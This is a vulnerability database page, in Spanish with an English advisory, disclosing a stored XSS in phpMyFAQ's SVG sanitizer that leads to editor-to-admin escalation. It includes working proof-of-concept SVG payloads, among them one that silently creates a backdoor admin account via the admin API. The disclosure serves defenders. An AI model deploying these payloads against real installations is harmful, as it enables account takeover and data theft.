Media

phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation

  • Publicada: 01.04.2026
  • Actualizado: 11.10.2026 10:22

Summary

The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.

Details

The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:

/href\s*=\s*["\']javascript:[^"\']*["\']/i

This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58; decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.

Additionally, the DANGEROUS_ELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.

Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.

The image upload endpoint (/admin/api/content/images) only requires the edit_faq permission — not full admin — so any editor-level user can upload malicious SVGs.

PoC

Basic XSS (confirmed working in Chrome 146 and Edge)

  1. Login to phpMyFAQ admin panel with any account that has edit_faq permission
  2. Navigate to Admin → Content → Add New FAQ
  3. In the TinyMCE editor, click the image upload button
  4. Upload this SVG file:
xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(document.domain)">
    <text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
  </a>
</svg>
  1. The SVG is uploaded to /content/user/images/<timestamp>_<filename>.svg
  2. Open the SVG URL directly in a browser
  3. Click the red text → alert(document.domain) executes

Privilege Escalation (Editor → Admin Takeover)

  1. As editor, upload this SVG:
xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
  <rect width="500" height="300" fill="#f8f9fa"/>
  <text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
    <rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
    <text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text>
  </a>
</svg>
  1. Send the SVG URL to an admin
  2. Admin opens URL, clicks "View Update →"
  3. JavaScript creates backdoor admin user backdoor:H4ck3d!
  4. Attacker logs in as backdoor with full admin privileges

Impact

This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with edit_faq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:

  • Create backdoor admin accounts via the admin API
  • Exfiltrate phpMyFAQ configuration (database credentials, API tokens)
  • Modify or delete FAQ content
  • Achieve full admin account takeover The vulnerability affects all phpMyFAQ installations using the SvgSanitizer class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with Content-Disposition: attachment to prevent inline rendering.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer thorsten/phpmyfaq < 4.1.1 4.1.1

Referencias

Puntuación CVSS 5.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Debilidad (CWE)
CWE-79
Plataforma
Composer
Paquete
thorsten/phpmyfaq
Publicada
01.04.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-5crx-pfhq-4hgg - CC BY 4.0

Historial de vulnerabilidades: thorsten/phpmyfaq

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (112) en el archivo
Entradas en total
112
Primera → última
05.2022 09.2026
Sin corrección
2
Explotada en ataques
0

Distribución por gravedad

  • Crítica 8
  • Alta 36
  • Media 67
  • Baja 1

Divulgaciones por año

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Gravedad:
  1. Alta · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Alta · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Alta · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. Alta · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation esta entrada
    Media · 5.4 CVE-2026-34974 < 4.1.1 4.1.1
  6. Alta · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  7. Alta · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  8. Alta · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  9. Alta · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  10. Alta · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  11. Crítica · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  12. Crítica · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  13. Alta · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  14. Alta · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  15. Alta · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  16. Alta · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  17. Crítica · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  18. Crítica · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  19. Alta · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  20. Alta · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
Mostrar más (5) Mostrando 40 de 45

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.